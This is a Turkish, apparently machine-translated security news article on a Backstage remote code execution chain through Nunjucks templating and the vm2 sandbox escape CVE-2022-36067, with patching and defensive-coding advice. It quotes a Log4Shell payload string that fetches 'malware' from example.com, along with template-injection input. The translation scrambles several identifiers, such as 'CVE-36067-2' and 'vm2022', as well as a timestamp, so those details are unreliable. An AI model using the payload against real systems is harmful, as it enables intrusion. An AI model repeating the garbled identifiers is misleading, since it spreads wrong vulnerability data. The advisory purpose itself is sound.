Popüler Backstage geliştirme aracında Log4Shell benzeri kod yürütme deliği

Bulut kodlama güvenlik şirketi Oxeye'daki araştırmacılar, yakın zamanda popüler bulut geliştirme araç seti Backstage'de keşfettikleri kritik bir hatayı yazdılar.

Onların rapor hatanın nasıl çalıştığına dair bir açıklama ve bundan nasıl yararlanılacağını gösteren kavram kanıtı (PoC) kodu içerir.

Backstage, bulut geliştirici portalı olarak bilinen şeydir; işletmenizin içindeki ve dışındaki kodlayıcıların çevrimiçi hizmetlerinizle etkileşime girmesine izin vermek için web tabanlı API'ler (uygulama programlama arabirimleri) oluşturmayı kolaylaştıran bir tür iş mantığı arka ucudur.

Projenin kendi sözleriyle, orijinal olarak Spotify'da yaratıldı, ancak şimdi Açık kaynaklı GutHub'da:

Backstage, geliştirici portalları oluşturmak için açık bir platformdur. Merkezi bir yazılım kataloğu tarafından desteklenen Backstage, mikro hizmetlerinize ve altyapınıza düzeni geri getirir ve ürün ekiplerinizin özerklikten ödün vermeden yüksek kaliteli kodu hızlı bir şekilde göndermesini sağlar.

Backstage, uçtan uca modern bir geliştirme ortamı oluşturmak için tüm altyapı araçlarınızı, hizmetlerinizi ve belgelerinizi birleştirir.

Hayır, bunun ne anlama geldiğini de tam olarak bilmiyoruz, ancak araç setinin JavaScript ile yazıldığını ve sunucu tarafı JavaScript sistemini kullanarak çalıştığını biliyoruz. node.jsve NPM ekosisteminden bir tedarik zinciri bağımlılıkları ağı çizer.

NPM'nin kısaltması Düğüm Paket Yöneticisi, arka uç JavaScript kodunuzun kriptografi ve veritabanı yönetiminden günlüğe kaydetme ve sürüm kontrolüne kadar her şey için popüler, önceden yazılmış yardımcı araçlar sağlayan çok çeşitli açık kaynak kitaplıklarından kolayca yararlanabilmesini sağlayan otomatik bir araç seti.

Uzaktan kod yürütme

Ne yazık ki, bugün açıklanan hata, yama uygulanmazsa, kimliği doğrulanmamış yabancılara (genel olarak, sunucularınıza API bağlantıları kurabilen herkes) ağınızdaki iş mantığı sunucuları içinde uzaktan kod yürütmeyi (RCE) tetikleme yolu verebilir.

Ancak neyse ki, Oxeye'ın yazdıklarını doğru yorumladıysak, Backstage RCE'leri için tanımladıkları saldırı, nihai olarak belirli bir hataya bağlı olan bir dizi kodlama hatasına bağlıdır. CVE-2022-36067 Backstage'in güvendiği vm2 adlı bir tedarik zinciri bileşeninde.

Merak ediyorsanız, vm2, potansiyel olarak riskli JavaScript'i sunucularınızda çalıştırmak için biraz daha güvenli hale getirmeyi amaçlayan bir "sanal makine sanal alanı" uygulayan genel amaçlı bir NPM modülüdür.

Vm2022'deki CVE-36067-2 hatası şuydu: rapor Ağustos 2022'de Oxeye tarafından (korumalı alandan çıktığı için ona PR dostu "Sandbreak" adını veren kişi) ve derhal yamalı vm2 ekibi tarafından neredeyse üç ay önce.

Dolayısıyla, görebildiğimiz kadarıyla, bir Backstage kullanıcısıysanız, Backstage kurulumunuzdaki tüm riskli bileşenlere yama uyguladığınızdan emin olmak isteyeceksiniz…

…ancak Sandbreak'e karşı savunmasız olan vm2 bileşenini bunca ay önce yamaladıysanız, Oxeye'ın son ifşasında açıklanan açıktan yararlanmaya karşı doğrudan savunmasız olmadığınız anlaşılıyor.

Ayrıca, Backstage sunucularınız hem ağ ucunda hem de ağ içinde gerekli kimlik doğrulaması ile iyi siber güvenlik yönergelerinin önerdiği şekilde yapılandırılmışsa, belirlenen "yardımcı" kişilerden rastgele "yalnızca araştırma amaçlı" incelemeler alma riskiyle karşı karşıya kalmazsınız. siber tehdit “araştırması” ile ilgilendiklerini göstermek için.

Bir “Emmenthal peyniri” saldırısı

Basitçe söylemek gerekirse, yeni ifşa edilen güvenlik sorunları, bir saldırganın her dilimde en az bir delik hizalaması durumunda sırayla nüfuz edebilecek Emmenthal peyniri dilimlerindeki delikler gibi bir dizi güvenlik sorununun yan etkisidir.

Anladığımız kadarıyla Backstage, adından da anlaşılacağı gibi, geliştirici topluluğunuzun isteyebileceği veya ihtiyaç duyabileceği çeşitli eklentileri (eklentiler olarak bilinir) yönetmenize yardımcı olan İskele adlı bir bileşen içerir.

Scaffolder ise Mozilla'nın Nunjucks olarak bilinen mesaj kayıt sistemini kullanıyor. dize şablonu in node.js gibi daireler dize enterpolasyonu Java dünyasında ve dize ikamesi Bash gibi komut kabuklarını kullanan sistem yöneticilerine.

Dize enterpolasyonu bir zil çalıyorsa, bunun nedeni muhtemelen dizinin kalbinde yer almasıdır. Log4Shell güvenlik açığı Aralık 2021'de ve Follina 2022'nin ortasında hata.

Bir dize şablonundaki özel "kodlama karakterlerine" dayalı olarak bir günlüğe kaydetme mesajının içeriğini yeniden yazabileceğiniz yer burasıdır, böylece aşağıdaki gibi bir dize $USER sunucu tarafından kullanılan hesap adıyla değiştirilebilir veya ${PID} geçerli işlem kimliğini alabilir.

Log4Shell'in aşırı durumunda, meraklı görünen büyü ${jndi:ldap://example.com:8888/malware} adlı bir programı indirmesi için sunucuyu doğrudan kandırabilir. malware itibaren example.com ve sessizce arka planda çalıştırıyor.

Başka bir deyişle, dış kullanıcı gibi güvenilmeyen bir kaynaktan gelen verilerin, kullanılacak bir dize şablonlama veya dize enterpolasyon işlevine asla körü körüne iletilmediğinden kesinlikle emin olmanız gerekir. şablon metninin kendisi olarak.

Örneğin, uzak bir kullanıcı, kullanıcı adını şu şekilde vererek sunucunuzu kandırmaya çalışırsa: ${{RISKY}} (şablon oluşturma kitaplığının kullandığı varsayılarak ${{...}} özel işaretçisi olarak), günlük kodunuzun bu yaramaz görünen metni tam anlamıyla alındığı gibi doğru bir şekilde kaydedeceğinden emin olmanız gerekir…

…günlüğe kaydedilmekte olan metnin, günlüğe kaydetme işlevinin kontrolünü ele geçirmesine izin vermek yerine!

Eski bir çocuk tekerlemesinin sözleriyle, "Orada bir delik var benim" şarkısını söylemediğinizden emin olmalısınız. ${{BUCKET}}Sevgili Liza, sevgili Liza, içimde bir delik var. ${{BUCKET}}, sevgili Liza. Bir delik!"

Bir güvenlik battaniyesine sarılmış

Adil olmak gerekirse, Nunjucks'ın belki de çok güçlü olan şablonlama/interpolasyon işlevselliği, Backstage tarafından başka bir tedarik zinciri bileşeninin, yani daha önce bahsedilen ve kötü niyetli bir kullanıcının bubi ile yapabileceği tehlikeyi sınırlaması beklenen sanal alan sistemi vm2'nin içine sarılmıştır. -tuzaklı giriş verileri.

Ne yazık ki, Oxeye araştırmacıları, bir Backstage sunucusunda potansiyel uzaktan kod yürütme elde etmek için, Backstage + Scaffolder + Nunjucks'ta yeni keşfedilen dize kalıplama kod tetikleme yollarını vm2022 güvenlik paketleyicisindeki eski CVE-36067-2 güvenlik açığıyla eşleştirmeyi başardılar. .

Ne yapalım?

Bir Backstage kullanıcısıysanız:

• Backstage'in ve bağımlılıklarının en son sürümlerine sahip olduğunuzdan emin olun, dahil olmak üzere plugin-scaffolder-backend bileşen. Oxeye'a göre, Backstage kodundaki ilgili hatalar 01 Eylül 2022'ye kadar yamalandı, böylece bu verilerden sonraki herhangi bir resmi nokta açıklaması düzeltmeleri içermelidir. [2022-11-1T16:00Z] yazımı sırasında, buna Backstage dahildir 1.6.0, 1.7.0 ve 1.8.0, sırasıyla 2022-09-21, 2022-10-18 ve 2022-11-15 tarihlerinde yayınlandı.
• Backstage kurulumunuzun beklediğiniz gibi yapılandırılmış kimlik doğrulaması olup olmadığını kontrol edin. Oxeye, kimlik doğrulamanın varsayılan olarak kapalı olduğunu ve Sahne arkası yönergeleri, arka uç sunucuları (muhtemelen zaten harici olarak ifşa edilmemesi gerekenler) yine de kimliği doğrulanmamış erişime izin veriyordu. İstediğiniz bu olabilir, ancak kurulumunuzun niyetlerinizle eşleşip eşleşmediğini kontrol etmek için bu sorunu bir neden olarak kullanmanızı öneririz.
• Backstage altyapınızın hangi bölümlerine internetten erişilebildiğini kontrol edin. Bir kez daha, yakın zamanda yapmadıysanız, bu sorunu kendi ağınızı dışarıdan taramak için bir neden olarak kullanın.

Bir node.js/NPM kullanıcısıysanız:

• vm2 korumalı alan bileşeninin en son sürümüne sahip olduğunuzdan emin olun. Bunu, Backstage'iniz olmasa bile, kullandığınız diğer yazılımların bir bağımlılığı olarak kurmuş olabilirsiniz. CVE-2022-36067 güvenlik açığı 2022-08-28'de yamalandı, bu nedenle vm2 sürümünü istiyorsunuz 3.9.11 veya sonrası.

Bir programcıysanız:

• Güçlü günlük tutma işlevlerini çağırırken olabildiğince savunmacı olun. Güçlü şablon oluşturma/interpolasyon özellikleri içeren bir günlük kaydı hizmeti (Nunjucks veya Log4J dahil) kullanıyorsanız, yanlışlıkla kötüye kullanılmaması için ihtiyacınız olmayan tüm özellikleri kapatın. Güvenilmeyen girdinin kendisinin hiçbir zaman bir şablon olarak kullanılmadığından emin olun, böylece saldırganların kendi doğrudan tehlikeli girdi dizilerini döndürmeleri önlenir.
• Uygulanan diğer önlemlerden bağımsız olarak, günlük girişlerinizi ve çıkışlarınızı sterilize edin. Gelecekte başka birinin günlük dosyalarınızı açması gerekeceğini unutmayın. Komut dosyası etiketlerinin içinde bırakıldığı HTML parçaları gibi, daha sonra sorunlara neden olabilecek herhangi bir kasıtsız bubi tuzağının günlük dosyanıza yazılmasına izin vermeyin. (Birisi dosyayı yanlışlıkla bir tarayıcıda açabilir.)

Güvenilir bir kaynaktan girdi alsanız bile, kullanmadan önce kendi temizlik kontrollerinizden geçirmemeniz için nadiren herhangi bir neden vardır.

(Ara sıra, örneğin performans nedenleriyle bir istisnayı gerekçelendirebilirsiniz, ancak bu bir kural değil, bir istisna olmalıdır.)

İlk olarak, tekrar kontrol etmek, önceki kodlayıcıların iyi niyetle yapmış olabileceği hataları tespit etmenize yardımcı olur; ikinci olarak, ekosisteminizin başka bir bölümü tehlikeye girerse, kötü veya bubi tuzaklı verilerin yayılmasını sınırlamaya yardımcı olur.

Daha önce bahsettiğimiz Emmenthal peyniri dilimleriyle ilgili olan şey, geçirgen olmalarına rağmen, her yaprakta en az bir delik varsa...

… hiç hizalanmayan delikleri olan en az bir levha varsa geçirimsizdirler!

---